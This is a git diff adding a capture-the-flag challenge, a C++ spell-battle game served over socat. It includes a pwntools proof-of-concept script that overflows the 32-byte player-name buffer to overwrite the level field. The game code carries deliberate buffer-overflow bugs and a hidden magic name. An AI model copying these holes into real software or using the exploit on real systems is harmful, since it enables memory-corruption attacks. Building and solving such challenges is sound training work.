diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..8b13c8c --- /dev/null +++ b/Dockerfile @@ -0,0 +1,12 @@ +FROM ubuntu:latest + +RUN apt update && \ + apt install socat -y + +WORKDIR /app + +COPY ./flag.txt . +COPY ./spell-warz-again . + +EXPOSE 12345/tcp +CMD socat tcp-listen:12345,reuseaddr,fork EXEC:./spell-warz-again diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d449d3e --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice (including the next +paragraph) shall be included in all copies or substantial portions of the +Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS +OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF +OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..92a192e --- /dev/null +++ b/Makefile @@ -0,0 +1,19 @@ +UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp + g++ -c lib/UserInterface.cpp -o UserInterface.o + +Battle.o: lib/Battle.cpp lib/Battle.hpp + g++ -c lib/Battle.cpp -o Battle.o + +Spell.o: lib/Spell.cpp lib/Spell.hpp + g++ -c lib/Spell.cpp -o Spell.o + +Character.o: lib/Character.cpp lib/Character.hpp + g++ -c lib/Character.cpp -o Character.o + +spell-warz-again: Spell.o Character.o UserInterface.o Battle.o main.cpp + g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o Battle.o + +clean: all + rm Spell.o Character.o UserInterface.o Battle.o + +all: spell-warz-again diff --git a/README.md b/README.md index f9f0236..e3c159b 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,7 @@ -# spell-warz-again-final +# spell-warz-again +Hello guys, there's an update to my last game
+Now you can choose your own name! Cool isn't it :)
+Also, I made the new Arch-Mage a little weak
+please defeat him again!
+`nc 103.200.7.150 30311` \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..14cfa9d --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,10 @@ +version: "2" + +services: + main: + build: . + container_name: "spell-warz-again" + network_mode: "bridge" + restart: on-failure + ports: + - "30311:12345" diff --git a/flag.txt b/flag.txt new file mode 100644 index 0000000..ca16bc5 --- /dev/null +++ b/flag.txt @@ -0,0 +1 @@ +SlashRootCTF{} diff --git a/lib/Battle.cpp b/lib/Battle.cpp new file mode 100644 index 0000000..801c745 --- /dev/null +++ b/lib/Battle.cpp @@ -0,0 +1,191 @@ +#include "Battle.hpp" + +std::vector Battle::SPELL_BOOK = { + Spell("Blazing Storm", Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Energy Arrow", Spell::TYPE_DESTRUCTION, 40, 10), + Spell("Pyro Strike", Spell::TYPE_DESTRUCTION, 90, 15), + Spell("Seism", Spell::TYPE_DESTRUCTION, 160, 20), + Spell("Teleport", Spell::TYPE_DESTRUCTION, 250, 25), + Spell("Beam of Nature's Wrath", Spell::TYPE_DESTRUCTION, 360, 30), + Spell("Ball of the Molten Core", Spell::TYPE_DESTRUCTION, 490, 35), + Spell("Wrath of Poison", Spell::TYPE_DESTRUCTION, 640, 40), + Spell("Extortion Burst", Spell::TYPE_DESTRUCTION, 810, 45), + Spell("Projection of Sound", Spell::TYPE_DESTRUCTION, 1000, 50), + Spell("Soul Tempest", Spell::TYPE_DESTRUCTION, 1210, 55), + Spell("Mystic Nova", Spell::TYPE_DESTRUCTION, 1440, 60), + Spell("Frostfire Burn", Spell::TYPE_DESTRUCTION, 1690, 65), + Spell("Torrent", Spell::TYPE_DESTRUCTION, 1960, 70), + Spell("Windstorm", Spell::TYPE_DESTRUCTION, 2250, 75), + Spell("Barrier of Redemption", Spell::TYPE_DESTRUCTION, 2560, 80), + Spell("Burst of the Angels", Spell::TYPE_DESTRUCTION, 2890, 85), + Spell("Absorption of Chaos", Spell::TYPE_DESTRUCTION, 3240, 90), + Spell("Decay of Light", Spell::TYPE_DESTRUCTION, 3610, 95), + Spell("Dispersion of Force", Spell::TYPE_DESTRUCTION, 4000, 100), + Spell("Solar Barrage", Spell::TYPE_DESTRUCTION, 4410, 105), + Spell("Death Burn", Spell::TYPE_DESTRUCTION, 4840, 110), + Spell("Blazing Strike", Spell::TYPE_DESTRUCTION, 5290, 115), + Spell("Imitate", Spell::TYPE_DESTRUCTION, 5760, 120), + Spell("Shooting Star", Spell::TYPE_DESTRUCTION, 6250, 125), + Spell("Seal of Traps", Spell::TYPE_DESTRUCTION, 6760, 130), + Spell("Flare of the Inferno", Spell::TYPE_DESTRUCTION, 7290, 135), + Spell("Distraction of Stone", Spell::TYPE_DESTRUCTION, 7840, 140), + Spell("Concentration of Glory", Spell::TYPE_DESTRUCTION, 8410, 145), + Spell("Calm of Energy", Spell::TYPE_DESTRUCTION, 9000, 150), + Spell("Soul Surge", Spell::TYPE_DESTRUCTION, 9610, 155), + Spell("Moonlight Blaze", Spell::TYPE_DESTRUCTION, 10240, 160), + Spell("Sunlight Salvo", Spell::TYPE_DESTRUCTION, 10890, 165), + Spell("Banish Demon", Spell::TYPE_DESTRUCTION, 11560, 170), + Spell("Hurricane", Spell::TYPE_DESTRUCTION, 12250, 175), + Spell("Blast of Soul Draining", Spell::TYPE_DESTRUCTION, 12960, 180), + Spell("Burst of Altered Time", Spell::TYPE_DESTRUCTION, 13690, 185), + Spell("Incantation of Time", Spell::TYPE_DESTRUCTION, 14440, 190), + Spell("Demolition Curse", Spell::TYPE_DESTRUCTION, 15210, 195), + Spell("Protection of Phantoms", Spell::TYPE_DESTRUCTION, 16000, 200), + Spell("Mage Burst", Spell::TYPE_DESTRUCTION, 16810, 205), + Spell("Starfire Hail", Spell::TYPE_DESTRUCTION, 17640, 210), + Spell("Ice Blitz", Spell::TYPE_DESTRUCTION, 18490, 215), + Spell("Cyclone", Spell::TYPE_DESTRUCTION, 19360, 220), + Spell("Charge", Spell::TYPE_DESTRUCTION, 20250, 225), + Spell("Barrier of Exhaustion", Spell::TYPE_DESTRUCTION, 21160, 230), + Spell("Blessing of Demon Fire", Spell::TYPE_DESTRUCTION, 22090, 235), + Spell("Illusion Blast", Spell::TYPE_DESTRUCTION, 23040, 240), + Spell("Fury of Poison", Spell::TYPE_DESTRUCTION, 24010, 245), + Spell("Plagueing of Fire", Spell::TYPE_DESTRUCTION, 25000, 250), + Spell("Fiery Eruption", Spell::TYPE_DESTRUCTION, 26010, 255), + Spell("Thunder Arrow", Spell::TYPE_DESTRUCTION, 27040, 260), + Spell("Infernal Bomb", Spell::TYPE_DESTRUCTION, 28090, 265), + Spell("Ignite", Spell::TYPE_DESTRUCTION, 29160, 270), + Spell("Solidify", Spell::TYPE_DESTRUCTION, 30250, 275), + Spell("Call of Burning Embers", Spell::TYPE_DESTRUCTION, 31360, 280), + Spell("Burst of Acid", Spell::TYPE_DESTRUCTION, 32490, 285), + Spell("Calm of Death", Spell::TYPE_DESTRUCTION, 33640, 290), + Spell("Annihilation Burst", Spell::TYPE_DESTRUCTION, 34810, 295), + Spell("Absorption of Strength", Spell::TYPE_DESTRUCTION, 36000, 300), + Spell("Infernal Explosion", Spell::TYPE_DESTRUCTION, 37210, 305), + Spell("Lava Blast", Spell::TYPE_DESTRUCTION, 38440, 310), + Spell("Pyro Spike", Spell::TYPE_DESTRUCTION, 39690, 315), + Spell("Mind Blast", Spell::TYPE_DESTRUCTION, 40960, 320), + Spell("Extinguish", Spell::TYPE_DESTRUCTION, 42250, 325), + Spell("Spell of Obliteration", Spell::TYPE_DESTRUCTION, 43560, 330), + Spell("Hymn of Havoc", Spell::TYPE_DESTRUCTION, 44890, 335), + Spell("Consecration Ritual", Spell::TYPE_DESTRUCTION, 46240, 340), + Spell("Distraction of Perfection", Spell::TYPE_DESTRUCTION, 47610, 345), + Spell("Delusion of Vulnerabilities", Spell::TYPE_DESTRUCTION, 49000, 350), + Spell("Static Blaze", Spell::TYPE_DESTRUCTION, 50410, 355), + Spell("Pyro Whip", Spell::TYPE_DESTRUCTION, 51840, 360), + Spell("Acid Blitz", Spell::TYPE_DESTRUCTION, 53290, 365), + Spell("Daydream", Spell::TYPE_DESTRUCTION, 54760, 370), + Spell("Invigorate", Spell::TYPE_DESTRUCTION, 56250, 375), + Spell("Hymn of Revival", Spell::TYPE_DESTRUCTION, 57760, 380), + Spell("Jinx of Health", Spell::TYPE_DESTRUCTION, 59290, 385), + Spell("Division of Defense", Spell::TYPE_DESTRUCTION, 60840, 390), + Spell("Abjuration Orb", Spell::TYPE_DESTRUCTION, 62410, 395), + Spell("Divinity of Life", Spell::TYPE_DESTRUCTION, 64000, 400), + Spell("Shadow Flash", Spell::TYPE_DESTRUCTION, 65610, 405), + Spell("Mind Flare", Spell::TYPE_DESTRUCTION, 67240, 410), + Spell("Unholy Explosion", Spell::TYPE_DESTRUCTION, 68890, 415), + Spell("Soulburn", Spell::TYPE_DESTRUCTION, 70560, 420), + Spell("Phantom Form", Spell::TYPE_DESTRUCTION, 72250, 425), + Spell("Rain of Plagues", Spell::TYPE_DESTRUCTION, 73960, 430), + Spell("Aura of Shifting Sands", Spell::TYPE_DESTRUCTION, 75690, 435), + Spell("Purification of Heat", Spell::TYPE_DESTRUCTION, 77440, 440), + Spell("Purification of Hell", Spell::TYPE_DESTRUCTION, 79210, 445), + Spell("Purity of SoulsVoid Tempest", Spell::TYPE_DESTRUCTION, 81000, 450), + Spell("Thunder Hail", Spell::TYPE_DESTRUCTION, 82810, 455), + Spell("Acid Bolt", Spell::TYPE_DESTRUCTION, 84640, 460), + Spell("Incinerate", Spell::TYPE_DESTRUCTION, 86490, 465), + Spell("Slow", Spell::TYPE_DESTRUCTION, 88360, 470), + Spell("Bolt of Deflection", Spell::TYPE_DESTRUCTION, 90250, 475), + Spell("Beam of Shadows", Spell::TYPE_DESTRUCTION, 92160, 480), + Spell("Putrefaction of Blessings", Spell::TYPE_DESTRUCTION, 94090, 485), + Spell("Exploitation of Force", Spell::TYPE_DESTRUCTION, 96040, 490), + Spell("Annihilation Ceremony", Spell::TYPE_DESTRUCTION, 98010, 495), + Spell("Repose of Energy", Spell::TYPE_DESTRUCTION, 100000, 500), +}; +Battle::Battle( + Character &p1, + Character &p2) : player1(p1), player2(p2) +{ + this->turn = 0; +} + +void Battle::battleStartAnnounce() +{ + std::cout << " === BATTLE START === \n" + << " " << player1.getName() << "\n" + << " vs \n" + << " " << player2.getName() << "\n" + << " === ============ === \n" + << std::flush; +} + +void Battle::battleEndAnnouce() +{ + std::cout << " === BATTLE END === \n" + << " Winner: " << ((winner == 1) ? player1.getName() : player2.getName()) << "\n" + << std::flush; +} + +void Battle::start() +{ + int choiceInt; + char buff[64] = {0}; + + this->battleStartAnnounce(); + while ((player1.isAlive() && player2.isAlive()) && this->turn <= Battle::MAX_TURN) + { + std::cout << "Turn " << this->turn << " of " << Battle::MAX_TURN << "\n" + << "Your spell book:\n"; + for (size_t i = 1; i < SPELL_BOOK.size() && i <= (player1.getLevel()); i++) + { + std::cout << "[" << i << "] " << SPELL_BOOK.at(i).getName() << "\n"; + } + std::cout << std::flush; + + choiceInt = UserInterface::getNumber( + "What are you gonna cast this turn?\n>", 0, + player1.getLevel() > SPELL_BOOK.size() ? SPELL_BOOK.size() : player1.getLevel()); + + if (player1.canCastSpell(SPELL_BOOK.at(choiceInt))) + { + player1.castSpell(SPELL_BOOK.at(choiceInt), player2); + snprintf(buff, 63, "%s cast %s...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getPower()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + } + + choiceInt = (random() % (player2.getLevel() < SPELL_BOOK.size() ? player2.getLevel() : SPELL_BOOK.size())) + 1; + if (player2.canCastSpell(SPELL_BOOK.at(choiceInt))) + { + player2.castSpell(SPELL_BOOK.at(choiceInt), player1); + snprintf(buff, 63, "%s cast %s...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + memset(buff, 0, 64); + snprintf(buff, 63, "%s took %d damage...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getPower()); + UserInterface::print(buff); + memset(buff, 0, 64); + } + else + { + snprintf(buff, 63, "%s failed to cast %s!\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); + UserInterface::print(buff); + } + this->turn++; + } + + this->winner = (player1.isAlive() && (player1.getCurHP() >= player2.getCurHP())) ? 1 : 2; + this->battleEndAnnouce(); +} + +int Battle::getWinner() +{ + return this->winner; +} diff --git a/lib/Battle.hpp b/lib/Battle.hpp new file mode 100644 index 0000000..8194b36 --- /dev/null +++ b/lib/Battle.hpp @@ -0,0 +1,33 @@ +#ifndef SPELL_WARZ_BATTLE_HPP +#define SPELL_WARZ_BATTLE_HPP 1 + +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" +#include "UserInterface.hpp" + +class Battle +{ +protected: + static const int MAX_TURN = 100; + static std::vector SPELL_BOOK; + int turn; + int winner; + + Character &player1; + Character &player2; + + void battleStartAnnounce(); + void battleEndAnnouce(); + void clearBuff(); + +public: + Battle(Character &p1, Character &p2); + int getWinner(); + void start(); +}; + +#endif \ No newline at end of file diff --git a/lib/Character.cpp b/lib/Character.cpp new file mode 100644 index 0000000..c8870ba --- /dev/null +++ b/lib/Character.cpp @@ -0,0 +1,195 @@ +#include +#include + +#include "Character.hpp" + +const long Character::MAX_LVL = 1000000L; +const long Character::MAX_EXP = 1000000000000L; + +Character::Character(const char *characterName, + long characterLevel) + : name(""), experience(0) +{ + if (strcmp("__th3_w0rLd_D3str0Y3r__", characterName)) + { + level = characterLevel; + } + else + { + level = MAX_LVL; + } + maxHP = curHP = 100 * level; + maxMP = curMP = 50 * level; + strncpy(name, characterName, strlen(characterName)); +} + +Character::Character(const char *characterName, + long characterLevel, + long characterHP, + long characterMP) + : name(""), + experience(0) +{ + level = characterLevel; + maxHP = curHP = characterHP; + maxMP = curMP = characterMP; + strncpy(name, characterName, strlen(characterName)); +} + +const char *Character::getName() +{ + return name; +} + +long Character::getLevel() +{ + if (level > Character::MAX_LVL) + { + exit(-1); + } + return level; +} + +long Character::getExperience() +{ + if (experience > Character::MAX_LVL) + { + exit(-1); + } + return experience; +} + +long Character::getMaxHP() +{ + return maxHP; +} + +long Character::getCurHP() +{ + if (curHP > maxHP) + { + exit(-1); + } + return curHP; +} + +long Character::getMaxMP() +{ + return maxMP; +} + +long Character::getCurMP() +{ + if (curMP > maxMP) + { + exit(-1); + } + return curMP; +} + +void Character::levelUp() +{ + if ((level <= MAX_LVL) && readytoLevelUp()) + { + experience -= toNextLevel(); + level++; + maxHP += 100; + maxMP += 50; + curHP = maxHP; + curMP = maxMP; + } +} + +void Character::restoreHP(int n) +{ + curHP += n; + if (curHP > maxHP) + { + curHP = maxHP; + } +} + +void Character::restoreMP(int n) +{ + curMP += n; + if (curMP > maxMP) + { + curMP = maxMP; + } +} + +void Character::reduceHP(int n) +{ + curHP -= n; +} + +void Character::reduceMP(int n) +{ + curMP -= n; +} + +bool Character::isAlive() +{ + return curHP > 0; +} + +long Character::toNextLevel() +{ + return level < MAX_LVL ? (level + 1) * (level + 1) : 0; +} + +bool Character::readytoLevelUp() +{ + return level < MAX_LVL ? (toNextLevel() <= experience) : false; +} + +void Character::increaseExperience(int n) +{ + experience += n; + if (experience > MAX_EXP) + { + experience = MAX_EXP; + } + while (readytoLevelUp()) + { + levelUp(); + } +} + +bool Character::canCastSpell(Spell &spell) +{ + return curMP >= spell.getCost(); +} + +bool Character::castSpell(Spell &spell, Character &target) +{ + if (canCastSpell(spell)) + { + reduceMP(spell.getCost()); + target.reduceHP(spell.getPower()); + return true; + } + else + { + return false; + } +} + +void Character::rest() +{ + restoreHP(maxHP); + restoreMP(maxMP); +} + +void Character::kill() +{ + reduceHP(maxHP); +} + +void Character::revive() +{ + if (curHP <= 0) + { + curHP = 1; + } +} \ No newline at end of file diff --git a/lib/Character.hpp b/lib/Character.hpp new file mode 100644 index 0000000..a15a8ce --- /dev/null +++ b/lib/Character.hpp @@ -0,0 +1,57 @@ +#ifndef SPELL_WARZ_CHARACTER_HPP +#define SPELL_WARZ_CHARACTER_HPP 1 + +#include + +#include "Spell.hpp" + +class Character +{ +protected: + static const long MAX_LVL; + static const long MAX_EXP; + + char name[32]; + long level; + long experience; + long maxHP; + long maxMP; + long curHP; + long curMP; + + void restoreHP(int); + void restoreMP(int); + void reduceHP(int); + void reduceMP(int); + +public: + Character(const char *characterName, + long characterLevel); + + Character(const char *characterName, + long characterLevel, + long characterHP, + long characterMP); + + bool castSpell(Spell &src, Character &dst); + bool canCastSpell(Spell &src); + + const char *getName(); + long getLevel(); + long getExperience(); + long getMaxHP(); + long getMaxMP(); + long getCurHP(); + long getCurMP(); + long toNextLevel(); + + bool readytoLevelUp(); + bool isAlive(); + void levelUp(); + void kill(); + void rest(); + void revive(); + void increaseExperience(int n); +}; + +#endif \ No newline at end of file diff --git a/lib/Spell.cpp b/lib/Spell.cpp new file mode 100644 index 0000000..29fe504 --- /dev/null +++ b/lib/Spell.cpp @@ -0,0 +1,33 @@ +#include + +#include "Spell.hpp" + +Spell::Spell(const char *spellName, + const int spellType, + int spellPower, + int spellCost) : type(spellType), name("") +{ + this->power = spellPower; + this->cost = spellCost; + strcpy(this->name, spellName); +} + +int Spell::getType() +{ + return this->type; +} + +int Spell::getPower() +{ + return this->power; +} + +int Spell::getCost() +{ + return this->cost; +} + +const char *Spell::getName() +{ + return this->name; +} diff --git a/lib/Spell.hpp b/lib/Spell.hpp new file mode 100644 index 0000000..bbc6de2 --- /dev/null +++ b/lib/Spell.hpp @@ -0,0 +1,28 @@ +#ifndef SPELL_WARZ_SPELL_CPP +#define SPELL_WARZ_SPELL_CPP 1 + +class Spell +{ +protected: + char name[16]; + int type; + int power; + int cost; + +public: + static const int NAME_LENGTH = 15; + static const int TYPE_RESTORATION = 1; + static const int TYPE_DESTRUCTION = 2; + + Spell(const char *spellName, + const int spellType, + int spellPower, + int spellCost); + + const char *getName(); + int getType(); + int getPower(); + int getCost(); +}; + +#endif \ No newline at end of file diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp new file mode 100644 index 0000000..339f2e0 --- /dev/null +++ b/lib/UserInterface.cpp @@ -0,0 +1,228 @@ +#include "UserInterface.hpp" + +const int UserInterface::INTERVAL = 0; +const int UserInterface::MINI_INTERVAL = 0; +const int UserInterface::MAX_DAY = 28; +const int UserInterface::MAX_MONTH = 12; +const int UserInterface::MAX_YEAR = 100; + +int UserInterface::day = 1; +int UserInterface::month = 1; +int UserInterface::year = 90; + +bool UserInterface::gameOver = false; + +std::vector UserInterface::dayName = { + "Morndas", + "Tirdas", + "Middas", + "Turdas", + "Fredas", + "Loredas", + "Sundas", +}; + +std::vector UserInterface::monthName = { + "Morning Star", + "Sun's Dawn", + "First Seed", + "Rain's Hand", + "Second Seed", + "Mid Year", + "Sun's Height", + "Last Seed", + "Hearthfire", + "Frostfall", + "Sun's Dusk", + "Evening Star", +}; + +void UserInterface::print(std::string msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::print(const char *msg) +{ + std::cout << msg << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::println(std::string msg) +{ + std::cout << msg << std::endl; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::println(const char *msg) +{ + std::cout << msg << std::endl; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); +} + +void UserInterface::printByChar(const char *msg) +{ + int len = strlen(msg); + for (size_t i = 0; i < len; i++) + { + std::cout << msg[i] << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::MINI_INTERVAL)); + } +} + +void UserInterface::welcomeMessage() +{ + std::cout << "+++++++++++++++++++++++++++++++++++++++++\n" + << "+ Welcome to Spell-Warz-Again-Final !!! +\n" + << "+++++++++++++++++++++++++++++++++++++++++\n" + << std::flush; +} + +const char *UserInterface::chooseName(char *buffer) +{ + char choice = 0; + while (choice != 'y' && choice != 'Y') + { + printf("Who should we call you?\n>"); + fflush(stdout); + scanf("%63s", buffer); + + printf("So you are a young mage named \"%s\" correct? (y/N)\n>", buffer); + fflush(stdout); + scanf("%1s", &choice); + } + + return buffer; +} + +void UserInterface::epilogue() +{ + UserInterface::printByChar( + "I'm tired of making epilogue...\n" + "You are a young mage, defeat the damn arch-mage...\n" + "F*ck, I'm tired of this...\n" + "Do you know I just finished this sh*t at October 10th?\n" + "Good luck and defeat the arch-mage.\n" + "Trust me, you gonna need the \'Good Luck\' ...\n"); +} + +std::string UserInterface::dateString() +{ + char date[5] = {0}; + + if (UserInterface::day < 21) + { + switch (UserInterface::day) + { + case 1: + sprintf(date, "1st"); + break; + case 2: + sprintf(date, "2nd"); + break; + case 3: + sprintf(date, "3rd"); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + else + { + switch (UserInterface::day % 10) + { + case 1: + sprintf(date, "%dst", UserInterface::day); + break; + case 2: + sprintf(date, "%dnd", UserInterface::day); + break; + case 3: + sprintf(date, "%drd", UserInterface::day); + break; + default: + sprintf(date, "%dth", UserInterface::day); + break; + } + } + + return std::string( + UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + + date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + + ", Year " + std::to_string(UserInterface::year)); +} + +void UserInterface::menu() +{ + std::cout << "=======================================\n" + << UserInterface::dateString() << "\n" + << "=======================================\n" + << "Available action:\n" + << "[1] Take a rest\n" + << "[2] Practice magic\n" + << "[3] Spar against classmate\n" + << "[4] Challenge the new Arch-Mage\n" + << "[5] Gather info about the new Arch-Mage\n" + << "[6] Meditate to your inner-self\n" + << "[0] Commit sudoku\n" + << std::flush; +} + +void UserInterface::enemiesInfo(std::vector &enemies) +{ + for (int i = 0; i < enemies.size(); i++) + { + std::cout << "[" << i << "] " << enemies.at(i).getName() << " (Lv." << enemies.at(i).getLevel() << ")\n"; + } + std::cout << std::flush; +} + +int UserInterface::getNumber(std::string msg, int min, int max) +{ + int buffer = max + 1; + do + { + std::cout << msg << std::flush; + if (std::cin.failbit || std::cin.eofbit) + { + std::cin.clear(); + std::cin.ignore(1); + } + } while (std::cin >> buffer && !(buffer <= max && buffer >= min)); + return buffer; +} + +void UserInterface::nextDay() +{ + if (UserInterface::day++ >= UserInterface::MAX_DAY) + { + day = 1; + if (UserInterface::month++ >= UserInterface::MAX_MONTH) + { + month = 1; + if (UserInterface::year++ >= UserInterface::MAX_YEAR) + { + UserInterface::gameOver = true; + } + } + } +} + +bool UserInterface::isGameOver() +{ + return gameOver; +} + +void UserInterface::characterInfo(Character &c) +{ + std::cout << "++++++++++++++++++++++++" + << "\nName: " << c.getName() + << "\n HP: " << c.getCurHP() << "/" << c.getMaxHP() + << "\n MP: " << c.getCurMP() << "/" << c.getMaxMP() + << "\n Lv: " << c.getLevel() + << "\n Xp: " << c.getExperience() + << "\n next: " << c.toNextLevel() + << "\n++++++++++++++++++++++++" << std::endl; +} \ No newline at end of file diff --git a/lib/UserInterface.hpp b/lib/UserInterface.hpp new file mode 100644 index 0000000..c8beeb0 --- /dev/null +++ b/lib/UserInterface.hpp @@ -0,0 +1,54 @@ +#ifndef SPELL_WARZ_USER_INTERFACE_HPP +#define SPELL_WARZ_USER_INTERFACE_HPP 1 + +#include +#include +#include +#include +#include +#include + +#include "Character.hpp" +#include "Spell.hpp" + +class UserInterface +{ +protected: + static const int INTERVAL; // in ms + static const int MINI_INTERVAL; // in ms + static const int MAX_DAY; + static const int MAX_MONTH; + static const int MAX_YEAR; + + static std::vector dayName; + static std::vector monthName; + + static int day; + static int month; + static int year; + + static bool gameOver; + +public: + static void print(std::string); + static void print(const char *); + static void println(std::string); + static void println(const char *); + static void printByChar(std::string); + static void printByChar(const char *); + + static void welcomeMessage(); + static void epilogue(); + static void menu(); + static void nextDay(); + static void characterInfo(Character &); + static void enemiesInfo(std::vector &); + + static std::string dateString(); + static int getNumber(std::string, int, int); + static const char *chooseName(char *); + + static bool isGameOver(); +}; + +#endif \ No newline at end of file diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..a4cd256 --- /dev/null +++ b/main.cpp @@ -0,0 +1,147 @@ + +#include +#include +#include +#include +#include +#include +#include + +#include "lib/Character.hpp" +#include "lib/Spell.hpp" +#include "lib/UserInterface.hpp" +#include "lib/Battle.hpp" + +std::string loadFlag() +{ + std::string flagString; + std::ifstream flagFile("flag.txt"); + flagFile >> flagString; + flagFile.close(); + return flagString; +} + +int main() +{ + srand(time(0)); + alarm(600); + + std::string flag = loadFlag(); + char playerName[64] = {0}; + UserInterface::chooseName(playerName); + Character player = Character(playerName, 1); + Character archMage = Character("Arch-Mage", 10000); + std::vector enemies = { + Character("Uraneus", 1), + Character("Ekey", 2), + Character("Wekius", 3), + Character("Dhemaex", 4), + Character("Uravras", 5), + }; + + UserInterface::welcomeMessage(); + UserInterface::epilogue(); + + while (player.isAlive() && !UserInterface::isGameOver()) + { + int choiceInt = -1; + char choiceChar = -1; + UserInterface::menu(); + choiceInt = UserInterface::getNumber( + "What are you gonna do today?\n>", + 0, 6); + switch (choiceInt) + { + case 0: + UserInterface::print("You commit sudoku...\n"); + UserInterface::print("Was it supposed to be seppuku?\n"); + UserInterface::print("Nevermind, you killed yourself.\n"); + player.kill(); + break; + case 1: + UserInterface::print("You spend the whole day sleeping...\n"); + UserInterface::print("HP and MP restored.\n"); + player.rest(); + break; + case 2: + UserInterface::print("You practice your magic in the yard...\n"); + UserInterface::print("You gained some experience.\n"); + printf("%ld\n", player.getLevel()); + fflush(stdout); + player.increaseExperience((rand() % player.getLevel()) + 1); + break; + case 3: + UserInterface::print("List of your classmates:\n"); + UserInterface::enemiesInfo(enemies); + choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); + UserInterface::print("You are going to spar with:\n"); + UserInterface::characterInfo(enemies.at(choiceInt)); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + Character enemy = Character(enemies.at(choiceInt)); + Battle battle = Battle(player, enemy); + battle.start(); + if (battle.getWinner() == 1) + { + UserInterface::print("You win, you get more experience...\n"); + player.increaseExperience(enemies.at(choiceInt).getLevel()); + } + else + { + UserInterface::print("You lose, but you still get some experience...\n"); + player.revive(); + player.increaseExperience(enemies.at(choiceInt).getLevel() / 2); + } + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player.rest(); + } + + break; + case 4: + UserInterface::print("You are going to challenge the Arch-Mage...\n"); + UserInterface::print("Are you sure? (y/N)\n>"); + std::cin >> choiceChar; + if (choiceChar == 'y' || choiceChar == 'Y') + { + Battle battle = Battle(player, archMage); + battle.start(); + if (battle.getWinner() == 1) + { + UserInterface::print("You win, you get more experience...\n"); + player.increaseExperience(enemies.at(choiceInt).getLevel()); + UserInterface::print("You win against the Arch-Mage!\n"); + UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); + UserInterface::print("Turns out the content is just some meaningless word...\n"); + UserInterface::print("Here is the content:\n"); + UserInterface::print(flag + "\n"); + } + else + { + UserInterface::print("You lose...\n"); + UserInterface::print("Sadly his spell was to powerful,\n"); + UserInterface::print("You got killed by the arch-mage...\n"); + } + } + else + { + UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); + player.rest(); + } + break; + case 5: + UserInterface::print("You found some info about the arch-mage:\n"); + UserInterface::characterInfo(archMage); + break; + case 6: + UserInterface::print("You meditate and got some insight to your ability:\n"); + UserInterface::characterInfo(player); + break; + } + UserInterface::nextDay(); + } +} diff --git a/poc.py b/poc.py new file mode 100644 index 0000000..de89014 --- /dev/null +++ b/poc.py @@ -0,0 +1,18 @@ +from pwn import * + +if __name__ == "__main__": + p = process("./main") + print p.recvuntil(">") + p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("2") + print p.recvuntil(">") + p.sendline("4") + print p.recvuntil(">") + p.sendline("y") + for i in xrange(99): + print p.recvuntil(">") + p.sendline("9") + p.interactive() diff --git a/spell-warz-again b/spell-warz-again new file mode 100755 index 0000000..8dc4536 Binary files /dev/null and b/spell-warz-again differ